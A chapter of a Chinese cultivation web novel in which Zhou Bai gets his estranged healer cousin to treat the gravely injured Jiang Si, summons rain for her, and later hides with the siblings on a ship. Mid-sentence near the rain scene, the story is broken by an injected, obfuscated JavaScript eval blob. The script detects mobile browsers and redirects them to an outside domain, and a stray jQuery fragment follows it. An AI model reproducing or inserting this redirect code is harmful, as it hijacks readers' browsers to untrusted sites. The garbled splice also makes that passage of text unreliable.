22. chap12
作品:《囚师弟》 轻松?
周白攥着太常行令,拖着半死不活的一对师姐弟,潜入渡口,缩进一艘货船之中。
大气还没一喘,就见面色苍白的杜坰先行从船板上侧翻,一口污浊的血仰头吐了出来。
周白就差两眼一翻跪了下去。
“杜杜杜师弟!你你你别死啊!”周白还是扑通一声跪了下去,滑跪至杜坰身前,灵力渡气,掐止杜坰的心脉。
他仰天长叹,不知自己到底是造了什么孽,闯了什么邪。怎就摊上这么一对能折腾的师姐弟。
趁着凝悠花回溯之效还在,原本三人先行前往六合,想请六合弟子疗伤,哪知向来以悬壶济世闻名的六合宗,不逢雨季不出世,不看诊。
嘴皮子说穿了都没有用。
凝悠花回溯之效只有一刻钟,这一刻钟里,天不积云,半点落雨的迹象都无。
眼看江汜又要回到先前那奄奄一息、命若悬丝的状态,周白就急上心头,他什么也顾不得管,扯下蒙脸的面具,又捏碎一道太常行令,不过须臾,他就“绑”回来一个六合弟子。
“周白,你怎么还活着?”被绑来的女子一点脸上一点不见慌乱,绕着周白走了一圈,啧啧称奇,“我要传信给你陈师兄!”
周白手砸额头,推着女子面向江汜:“随你随你!你让陈目多叫几人正好把我杀了扬灰。”
“啊?你疯了不成,你……”女子听到周白这样说,反而面露讶异。
“你帮我救个人,事成之后,随你想传信给陈目还是陈耳,陈嘴,陈鼻都行!”周白止不住地挠头,催促着女子,“快点快点!待会儿人就死了!”
“周杕,我真跪下来求你了!”
叫做周杕的女子摇了摇头,叹气一声,手甩数针,“真难得啊周白,我还能等到你求我的一天。”
“哎,你不知道我们六合医修弟子要克制自己的救人菩萨心吗?”周杕嘴里嘀嘀咕咕的,手里动作却不慢,“一日最多救一人!我今日已经救过人了!”
“而且此时还不逢雨,我要是出事……”
“坎水——濛雨。”
浠沥沥的雨丝莫名出现在周杕的头上,紧接着哗啦一声,雨柱坠落。
周杕手一顿,面无表情地回过头来,乌云密布的瞳孔盯向周白:“堂弟,你脑子有病不是?”
“我待会儿一定会叫陈目、陈耳、陈嘴、陈鼻过来取你狗命!”
周白:“你不是要雨?”
周杕没好气地道:“老娘要你狗命!”
“真是,每次一见你就没好事。”
周杕手扶额前,开天眼,看向身染数血,靠在杜坰身上的江汜,声若带着万千晦涩难懂符文,但从她嘴中只落一字:“望。”
长久地沉默中,无一人敢说话,连呼吸都缓慢。
良久,周杕阖眼,扭身转头:“丹种已碎,我救不了。”
周杕说着就要离去,周白哎了一声伸手阻拦:“不,你你再看……”
“周白,这次你打算用什么还。”周杕抬眸,眼中素冷,盯得周白一怵。
两人同出一家,却是不熟。周白印象中,周杕是个被抛弃的孩子。父母不要她,亲人无所依。
同村的孩子都取笑她,孤立她,甚至对她推搡动手。周白也会在家里见到周杕,他母亲偶尔会背着父亲把人接到家里,吃上一两口热饭。
周杕是个有父母亲人的……孤儿。
周白对这个堂姐唯一一次说话,是他同父亲争吵一番生了嫌隙,离家出走当晚,他盯着漆黑的小路,和天上闪动的小星,莫名犯怵,但又不想再回头。
于是他哆嗦着声音问缩在篱笆外的瑟瑟发抖的周杕:“姐,我要去修仙,你去不?”
而后,他入太常,周杕入六合。离了家的周杕,沉闷的性子愈发的活泼、散漫,甚至可以说离经叛道,周白后来几次见她,都差点认不出人。
周白也不怎么找她,一来是两人本就无话可说,二来……周白偶尔回家听见自己母亲说失踪的周杕,总是想起周杕来她家的那些日子。
他倒是没有和其他人一样,对周杕表现出明显的恶意,但眼神也不算友好。他很清楚的明白,他的冷漠也是刺向周杕的恶意。
周杕偶尔也会从六合来太常,问他需不需要帮助。周白不要,他问她为什么,周杕却说——你带我出来了,我要还你。
周白不认,他其实是胆小不敢独自上路,才将目光转向他从不在意的堂姐,问她,要不要一起走。
两人就这样僵持着,周杕给他一点好,他也还上一点好。一个死活要还,一个死活不认。
周杕此时问他,你要用什么还。
周白面色一白,他明白,周杕其实一直都想和他划清界限。不,也不是他,而是和周家所有人划清界限,再无纠葛。
她被取名为杕的那日,周白也听清他那父亲恶毒的话——你这赔钱货,你害你哥哥,害你弟弟!害你母亲!就该孤苦无依!我们不是你亲人,你没有亲人!你这辈子都不会有亲人!你就活该四处流浪,暴毙而亡!
周杕要做六合的周杕,不做周家的孤女。
“周白,你要用什么还。”周杕盯着他的眼睛,又问了一遍。
凡人与修士,寿命如隔壑渠。他的父母已经过世,周杕的父母兄弟也早已不再人世。如今的周家村里,周白都不知道还有几人与他有关,又与周杕有关。
两人之间的血脉是彼此唯一的联系,周白送走双亲之后,就更躲着周杕。他也说不清,强留这么一段联系要干什么。
他只是觉得,真的和周杕断了这点联系,他和周杕一定不会再有见面的机会。
“姐,我们以后还会再见面吗?”周白不抱希望的问出。
周杕白了他一眼:“为何要见面?”
周白眼神沉下去,眼皮也耷拉了下去。
“你一个被太常下令追杀的叛者,跟你见面我不要命了?”
周杕双手捻诀,背手甩出数针,没入凝悠花已经失效的江汜体内,淡色的绿丝拨动银针,周杕嘴上问着周白用什么还,却又没有真的要他给个答案再动手医治。
“话说在前面,她的丹种我无力回天。”周杕语气严肃,医治病人时,恍然不羁的眉目骤然沉稳,“但天下珍稀凡物众多,说不定某一日能寻得润泽丹种之法。”
“周白,记得回答我的问题。”
“出去吧。”周杕落下一声,又开天眼,手间灵活如残影,不停地拨动丝线调整数针的位置。
杜坰被周白拽出去,关上了门。
周白望着无云无月,唯有三五小星,坐落在东的天穹,一时沉默。
杜坰拂了拂手里的血,往旁一走靠着草垛坐下。
两人相顾无言,又都将头转了回去。不稍一会儿,周白就动了起来,他无措地挠着头,盯着无云的天,一副欲言又止,欲动又止模样。
“周师兄,你要引雨吗?”杜坰看不过去,闷着嗓音问了一句。
周白立马打开了话匣子:“是啊是啊,你不知道,他们六合医修弟子都要克制自己的菩萨心。”
“一天只可医一人,但逢落雨这条律令就可视而不见。”
“哎,不然会出大事的。虽然我也不知道会出什么事,但……但我都把人带来救人了,她要是刚救完江汜,一出门就出事……比如被雷劈了?”
周白摇头摆手:“不行不行,这可不行啊,我就这一个姐了。”
“但这天上无云……哎,这怎么引雨。”周白沉思着,在院子里绕了一圈,“杜师弟,你说我就下这么一小片雨……也算是雨吧?”
杜坰看向周白,笑得有些疲惫:“算啊。”
“周师兄,我帮你引云。”
杜坰说着站起身来,又回头:“周师兄,你站门口去。”
“门口?行。”周白走过去,遥遥地冲着杜坰喊:“然后呢?”
杜坰:“等着。”
杜坰半眯起眼,一脚迈出,踏八卦罡步,八卦命盘仿若出现在他的脚下,周白处坎宫,他立刻察觉到一抹异象,拔剑而出,负手而立。
杜坰又换步而踏,面朝西方。
“天盛七星,斗柄西秋。”
“见星如天,见天如我。”
杜坰嗓音微沉,却依旧避开了——我命七星。
他踏七星罡步,步伐划动至天权、摇光。
“摇光破变,天权柔水。”
“转。”
天象突变,只在瞬息,有云从四面八方聚集而来,笼罩在院落之上。
周白立刻甩剑绕云:“坎水——骤雨!”
砰地一声,如雷的大雨轰然从乌云中倾颓而下,宛若天池瀑布。
杜坰忙往檐下躲,而周白被淋了个满身,他一回头,正好看见从房中出来的周杕——同样也被浇了个透底。
周白茫然不知,他见到周杕还大声喊起来:“周杕!姐,姐!下雨了!”
“下雨了!你没事了!”
周杕:“……”
堂弟脑子有病怎么办,能杀吗。
“白痴。”周杕双手拢袖,倒没以灵力去雨,反而朝着在雨里欢呼的周白走去。
“周白,我就当你还了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071212|178141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
周杕唇角带笑,声音轻快,却如山雷沉在周白的心里。
他知道周杕说的还是什么,洇在雨里的眼睛,耷拉下去,带着他自己都不知道的祈求与可怜。
“姐,那……那我们以后还能再见面吗?”
周杕:“……白痴。”
“老娘不跟白痴见面。”
周杕说着迈出院子,没和周白说再见,却回头,用银针丝线盛走了一场雨。一场属于她的雨。
*
然后呢?
周白想,然后江汜虽然丹种有损,但其他伤被周杕治了个七七八八,三人本该就这样顺顺利利地去往南台山——九霄共院所在。
谁知三人刚爬上入共院的船,船一入南台山境内,杜坰就先行倒下了。还不是普通的倒下,眼滚鲜血,扑通一声就跪了下去陷入昏迷。
这一动静一下就引来船上的执教长老,三人无处可藏,又唯有周白一人是引枝境,杜坰莫名晕倒,江汜旧伤未愈。
结果显而易见,为了不被执教长老抓到,届时无法入共院。江汜带伤同他夺得一线逃离的生机,三人借着太常行令,重新回到南台山下人间——夙落城。
凡九霄大陆内,引枝六境以下修士皆可入共院修行。但在这之上,还有一个条件:九大宗弟子,由长老带领可入共院。
凡人、散修,须得共院通关令,才可入南台山。
三人之中,两人叛出朱雀山,一人被太常通缉。怎么想也拿不到通关令,于是便在前往南台山的唯一渡口,也是九大宗门飞舟或是其他飞行法宝会停留的地方——夙落城港口蹲守。
南台山在天上,十座大小形状不一的空中山体,组成了九霄共院。而宗门飞舟或是共院飞舟要接人入南台山,都会在人间夙落城停留半夜。
夙落城虽是凡界人间,但它的渡口下却是个天然禁制,如同聚宝盆,承载着万千纯净的灵气。
凡人船只从此渡口驶向海面,不论是捕捞打鱼还是华船水戏,亦或是浪海夜游,从不会出事,甚至偶尔能见奇观。
凡人称此处为赋港。赋予,福也;富裕,亦福也。
九宗飞舟在此停留半刻钟,便可如流星走天穹坠落的星辰之道,驶向南台山,驶向九霄共院。
三人在此蹲守许久,遇见了不少想要偷船而入共院的人。有修士,有凡人,有杀人者,有逃亡者……
登船以前,周白以为他们是最不可能被发现的,登船后……他只想发大水淹了这对师姐弟。
此时他拖着半死不活的两人藏进会在赋港停留一夜的人间货船,对着口吐污血的杜坰,双手无措。
“杜师弟,你要是死了,你师姐会不会杀了我。”周白心如死灰,面无表情地道。
杜坰没有回他,反而是丹种又添几笔裂纹的江汜神识微微回转,吐声如气:“他死不了。”
周白回头,此时看见江汜醒来,他都不惊讶了。路上几次能够躲避过执教长老的追踪,都是靠着江汜千钧一发苏醒过来。
江汜这人,心性格外的坚韧。跟杀不死似的,若是他受此重伤,丹种濒临破灭,他早就晕得天昏地暗,死了都不知道。
江汜却能时时醒来,时时确定自己此时的状态。
“你要是比他先死,那倒也算他没死。”周白没好气地道,仿佛失去了希望,倒在船板上一动不动。
“咱们还能入共院吗?”
江汜撑着身体站起来,这种情况下,她倒还笑得出来:“入啊,为什么不入。”
她摇摇晃晃地朝着杜坰走去,仅剩的灵力探入杜坰体内,眸子半敛。
灵力没入杜坰体内,瞬间被捕获,一下消弭,仿佛从未有过。
“你师弟也是个奇人。”周白看了眼江汜的动作,知她已察觉异样,“这么个破灵根,亏他还能修炼。”
“你俩都是怪人。”周白又补充,“一个丹种濒临破碎,经脉尽毁的人,还能用灵力,还能使出那么强大的灵力!简直不是人能做到的。”
“一个身负鬼都不要的破灵根,跟你学得既能用离火,又能踏罡步……不过,没见他用符,罡步不是符师才会去学的吗?”
师弟古怪,江汜早就知道,只不过她本就是个怪人了,看谁都差不多。
师弟身上的问题,恐怕他自己才能知道。一路上都好好的,一入南台山就急火攻心,遽然晕倒,身负异样……
师弟和这南台山……或者说九霄共院有什么关联吗?
她还没思考出个所以然,周白蹭地一下站起,手按剑刃,站在门后,蓄势待发。
有人过来。